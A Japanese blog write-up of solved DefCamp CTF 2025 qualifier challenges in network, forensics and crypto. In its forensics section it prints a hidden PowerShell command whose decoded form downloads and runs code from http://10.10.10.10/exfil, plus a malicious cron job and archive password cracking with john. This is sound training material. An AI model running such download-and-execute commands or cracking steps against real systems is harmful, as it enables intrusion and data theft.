以下の内容はhttps://yocchin.hatenablog.com/entry/2025/09/16/074749より取得しました。


DefCamp Capture the Flag (D-CTF) 2025 Quals Writeup

この大会は2025/9/12 19:00(JST)~2025/9/14 19:00(JST)に開催されました。
今回もチームで参戦。結果は247点で342チーム中153位でした。
自分で解けた問題をWriteupとして書いておきます。

packet-snatchers (Network)

pcapのパケットを分析して、各問題に答えていく。

Q1. Frame encapsulation type of a packet which contains backup.sql as data

パケットバイト列を"backup.sql"で検索する。検索結果の一つのFrameのEncapsulation typeには以下のように書いてある。

Raw IPv4
DCTF{Raw IPv4}
Q2. What FTP commands were issued before the first downloading of employee.pdf?

ftpでフィルタリングする。
パケットNo.8で「RETR employee.pdf」がリクエストされている。その前のFTPコマンドは、以下の2つである。

  • RETR credentials.csv
  • USER anonymous
DCTF{RETR credentials.csv,USER anonymous}
Q3. Which file is being requested in HTTP GET requests?

httpでフィルタリングする。
パケットNo.2などで GET /contracts.docx がリクエストされている。

DCTF{contracts.docx}
Q4. What filename is carried in DNS query name?

dnsでフィルタリングする。
パケットNo.5などで 以下のドメインのクエリリクエストが送信されている。

XzIpY3JlZGVudGlhbHMuY3N2Xw==.contoso.com
$ echo XzIpY3JlZGVudGlhbHMuY3N2Xw== | base64 -d
_2)credentials.csv_
DCTF{credentials.csv}
Q5. What files are downloaded via FTP?

ftpでフィルタリングする。
以下の2つのファイルがダウンロードされている。

  • credentials.csv
  • employee.pdf
DCTF{credentials.csv,employee.pdf}
Q6. How many packets represents TCP connection termination?

tcp.flags.fin == 1でフィルタリングすると、12個のパケットが一覧に表示された。

12
Q7. What is the average packet length in the capture (in bytes)?

「統計」>「キャプチャファイルプロパティ」を見ると、平均パケットサイズ,バイトは67となっている。

67
Q8. What percentage of the total packets in the capture are DNS packets?

「統計」>「プロトコル階層」を見ると、Domain Name Systemのパケット数割合は11.6%となっている。

11.6

east-grandma (Forensics)

$ binwalk camashadefortza.jpg

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
206006        0x324B6         7-zip archive data, version 0.4

7zファイルがくっついているので、切り出す。

$ dd bs=1 skip=206006 if=camashadefortza.jpg of=flag.7z
327042+0 records in
327042+0 records out
327042 bytes (327 kB, 319 KiB) copied, 31.0616 s, 10.5 kB/s

7zファイルにはパスワードがかかっているので、クラックする。

$ 7z2john flag.7z > hash.txt
ATTENTION: the hashes might contain sensitive encrypted data. Be careful when sharing or posting these hashes
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt                                                    
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip archive encryption [SHA256 128/128 AVX 4x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 14 for all loaded hashes
Cost 3 (compression type) is 0 for all loaded hashes
Cost 4 (data length) is 130 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
passwordpassword (flag.7z)     
1g 0:00:11:29 DONE (2025-09-13 07:33) 0.001450g/s 73.54p/s 73.54c/s 73.54C/s patitos..optimusprime
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

このパスワードで解凍する。

$ 7z x flag.7z              

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,32 CPUs Intel(R) Core(TM) i7-10700 CPU @ 2.90GHz (A0655),ASM,AES-NI)

Scanning the drive for archives:
1 file, 327042 bytes (320 KiB)

Extracting archive: flag.7z

Enter password (will not be echoed):
--
Path = flag.7z
Type = 7z
Physical Size = 327042
Headers Size = 226
Method = LZMA2:12m 7zAES
Solid = -
Blocks = 1

Everything is Ok  

Size:       10485760
Compressed: 327042

beaches.001が展開された。

$ file beaches.001 
beaches.001: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS    ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 63, heads 255, hidden sectors 2048, dos < 4.0 BootSector (0), FAT (1Y bit by descriptor); NTFS, sectors/track 63, physical drive 0x80, sectors 20479, $MFT start cluster 853, $MFTMirror start cluster 2, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 014844777844759fe; contains bootstrap BOOTMGR

FTK Imagerで開き、いろいろ見てみる。

[root]/vama_veche/molotov/tip_de_muzica.txtには削除フラグが付いていて、内容は以下のようになっている。

Tip de muzica: Rock Alternativ .... ce gluma ... muzica de vitamina ctf{sha256(vamonos)}
$ echo -n vamonos | sha256sum                                                                                              
44ad656b71865ac4ad2e485cfbce17423e0aa0bcd9bcdf2d98a1cb1048cf4f0e  -
ctf{44ad656b71865ac4ad2e485cfbce17423e0aa0bcd9bcdf2d98a1cb1048cf4f0e}

forensalyze-this (Forensics)

FTK Imagerでad1のディスクイメージを分析して、各問題に答えていく。

Q1. What command is base64 encoded in the payload file?

[root]/home/user/.cache/.hidden/payload.b64に以下のように書いてある。

powershell -w hidden -enc SUVYICgobmV3LW9iamVjdCBuZXQud2ViY2xpZW50KS5kb3dubG9hZHN0cmluZygnaHR0cDovLzEwLjEwLjEwLjEwOjgwL2V4ZmlsJykp

base64文字列部分をデコードする。

$ echo SUVYICgobmV3LW9iamVjdCBuZXQud2ViY2xpZW50KS5kb3dubG9hZHN0cmluZygnaHR0cDovLzEwLjEwLjEwLjEwOjgwL2V4ZmlsJykp | base64 -d
IEX ((new-object net.webclient).downloadstring('http://10.10.10.10:80/exfil'))
IEX ((new-object net.webclient).downloadstring('http://10.10.10.10:80/exfil'))
Q2. What is the SHA256 hash of the file being executed every 5 minutes via cron?

[root]/var/spool/cron/crontabs/rootに以下のように書いてある。

# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (- installed on Wed Aug 27 21:23:12 2025)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
*/5 * * * * /home/user/.local/bin/sysupdater

[root]/home/user/.local/bin/sysupdaterをエクスポートする。

$ sha256sum sysupdater                                         
2e8eda459ca839d24b6c759e23f1fd8108da203a735077c3c85e4438318e174c  sysupdater
2e8eda459ca839d24b6c759e23f1fd8108da203a735077c3c85e4438318e174c
Q3. One of the image files contains embedded credentials. What is the password?

[root]/home/user/Documents/vacation_photo.jpgが画像表示できていないので、エクスポートする。

$ cat vacation_photo.jpg                                         
email=ceo@company.com; pass=Secret123!
Secret123!
Q4. What is the name of the directory containing the Git repository?

[root]/home/user/Workの下に.gitディレクトリがある。

Work
Q5. What is the department of Charlie Lee?

[root]/home/user/Documents/hr_records.csvに以下のように書いてある。

EmployeeID,Name,Department,HireDate,Salary
1001,Alice Johnson,HR,2020-03-15,60000
1002,Bob Smith,Finance,2019-07-22,75000
1003,Charlie Lee,Engineering,2021-01-10,95000
1004,Diana Prince,Marketing,2018-11-05,70000
1005,Ethan Clark,IT,2022-06-12,88000
Engineering
Q6. What is the user ID and group ID of the work user?

[root]/var/backups/passwd.bakにworkユーザの情報が以下のように書いてある。

work:x:1000:1000:work,,,:/home/work:/bin/bash
1000:1000
Q7. When did the first execution of the cron.daily job end?

[root]/var/log/syslogをエクスポートする。

$ cat syslog | grep -i cron
Aug 28 12:12:35 work anacron[706]: Job `cron.daily' terminated
Aug 28 12:12:35 work anacron[706]: Normal exit (1 job run)
Aug 28 12:15:01 work CRON[2282]: (root) CMD (/home/user/.local/bin/sysupdater)
Aug 28 12:17:01 work CRON[3383]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly)
Aug 28 12:20:01 work CRON[18134]: (root) CMD (/home/user/.local/bin/sysupdater)
Aug 28 12:25:01 work CRON[8318]: (root) CMD (/home/user/.local/bin/sysupdater)
Aug 28 12:30:01 work CRON[19467]: (root) CMD (/home/user/.local/bin/sysupdater)
Aug 28 12:35:01 work CRON[19484]: (root) CMD (/home/user/.local/bin/sysupdater)
Aug 28 12:40:01 work CRON[19500]: (root) CMD (/home/user/.local/bin/sysupdater)
Aug 28 12:45:01 work CRON[19530]: (root) CMD (/home/user/.local/bin/sysupdater)
Sep  1 06:38:17 work cron[616]: (CRON) INFO (pidfile fd = 3)
Sep  1 06:38:17 work cron[616]: (CRON) INFO (Running @reboot jobs)
Sep  1 06:40:01 work CRON[2420]: (root) CMD (/home/user/.local/bin/sysupdater)
grep: (standard input): binary file matches

最初にcron.dailyが終了したのは8/28の12:12:35。

12:12:35

malware (Forensics, Malware)

問題文はこうなっている。

Researcher, track down the C2 server’s IP address. Don’t back out now—are you ready to give up?
$ ssh -p 31579 ctf@34.89.179.154
The authenticity of host '[34.89.179.154]:31579 ([34.89.179.154]:31579)' can't be established.
ED25519 key fingerprint is SHA256:PV6ybvwWT9Yy2Ahsy+AV3CL28qck6cu1kxgg440MnCE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[34.89.179.154]:31579' (ED25519) to the list of known hosts.
ctf@34.89.179.154's password: 
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.6.97+ x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

ctf@c-d355-c9704t-l3440-malware-7fbb4c9cbc-9jc2t:~$ netstat -an
-bash: netstat: command not found
ctf@c-d355-c9704t-l3440-malware-7fbb4c9cbc-9jc2t:~$ ss 
-bash: ss: command not found

netstatコマンドやssコマンドは入っていないようだ。ローカルからコピーして利用する。別のターミナルでコピーする。

$ cp -p /usr/bin/netstat .
$ scp -P 31579 netstat ctf@34.89.179.154:~
ctf@34.89.179.154's password: 
netstat

元のターミナルに戻って続ける。

ctf@c-d355-c9704t-l3440-malware-7fbb4c9cbc-9jc2t:~$ ./netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0    584 10.36.0.115:22          106.73.162.64:64730     ESTABLISHED
tcp        0      1 10.36.0.115:51304       64.226.90.121:5555      SYN_SENT   
tcp        0      1 10.36.0.115:60898       64.226.90.121:5555      SYN_SENT   
tcp6       0      0 :::22                   :::*                    LISTEN     
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags       Type       State         I-Node   Path
unix  3      [ ]         STREAM     CONNECTED     14285030 
unix  3      [ ]         STREAM     CONNECTED     14285029 
unix  2      [ ]         STREAM     CONNECTED     14284821

ESTABLISHEDになっている通信先がC2と考えられる。

$ echo -n "64.226.90.121:5555" | sha256sum
3f474b303bc2a5d4030b5172102b23c629d06ca0d5072e68891ac5f002100640  -
ctf{3f474b303bc2a5d4030b5172102b23c629d06ca0d5072e68891ac5f002100640}

ai-exhaustion (Cryptography)

暗号化処理の概要は以下の通り。

・RSA_A = 7
・RSA_B = 13
・B91_ALPHABET: ASCIIコード33~123の文字の配列
・AES_KEY = get_aes_key()
 ・ts: flag.txtの更新日時のUNIXTIMEの整数値
 ・tsを文字列として返却
・flag: flag.txtの内容
・enc = encrypt(flag, AES_KEY)
 ・xored: flagとAES_KEYのXOR
 ・aff = affine_encrypt(xored)
  ・xoredの各文字のASCIIコードにRSA_Aをかけ、RSA_Bを足したものの256の剰余のバイト文字列
 ・ret = base91_encode(aff)
  ・affのbase91エンコード文字列を返却
 ・retを返却
・cipher.txtにencを書き込み

逆算して、xoredまで算出する。UNIXTIMEは175から始まるので、それを元に最初に3バイトを復号すると、"\xe2\x94\x80"になる。これはUTF-8で1文字にすると、"─"になる。これが複数続くと推測して、XOR鍵を求め、復号する。

#!/usr/bin/env python3
RSA_A = 7
RSA_B = 13
B91_ALPHABET = [chr(i) for i in range(33, 124)]

def base91_decode(data: str) -> bytes:
    d = []
    for i in range(0, len(data), 2):
        hi = B91_ALPHABET.index(data[i])
        lo = B91_ALPHABET.index(data[i + 1])
        d.append(hi * len(B91_ALPHABET) + lo)
    return bytes(d)

def affine_decrypt(data: bytes, a: int = RSA_A, b: int = RSA_B) -> bytes:
    return bytes([(c - b) * pow(a, -1, 256) % 256 for c in data])

def xor_layer(data: bytes, key: bytes) -> bytes:
    return bytes([c ^ key[i % len(key)] for i, c in enumerate(data)])

with open('cipher.txt', 'r') as f:
    enc = f.read()

aff = base91_decode(enc)
xored = affine_decrypt(aff)

pt_head = xor_layer(b'175', xored[:3])
AES_KEY = xor_layer((pt_head * 4)[:10], xored[:10])
flag = xor_layer(xored, AES_KEY).decode('utf-8')
print(flag)

復号結果は以下の通り。

──────────────────────────────────────────────
🎉🎉🎉  CONGRATULATIONS, CRYPTO SLAYER!  🎉🎉🎉
──────────────────────────────────────────────

You have walked through the labyrinth of XOR shadows, 
untangled the twisted affine maze, 
and conquered the strange lands of fake Base91 encoding.  
The timestamp key tried to guard the secret, 
but you were sharper, faster, and more relentless.  

You refused to be fooled by misleading AES whispers 
and RSA distractions scattered across the code.  
Your patience, skill, and hacker instinct carried you 
through the chaos of misdirection.  

With clever eyes and steady hands, you revealed the truth:  
the hidden FLAG that so many lines of Python 
tried to keep from you.  

This was not just decryption — it was a battle of wits.  
You didn’t just solve a puzzle.  
You outsmarted the challenge,  
and that makes you a true CTF champion.  

──────────────────────────────────────────────
🏆 Raise your terminal high — you’ve earned it! 🏆
──────────────────────────────────────────────

Joke over, here is the flag: ctf{85442935690be24eaa7278925fbb35368b8bb230516a530090c637f83b25f516}
ctf{85442935690be24eaa7278925fbb35368b8bb230516a530090c637f83b25f516}



以上の内容はhttps://yocchin.hatenablog.com/entry/2025/09/16/074749より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14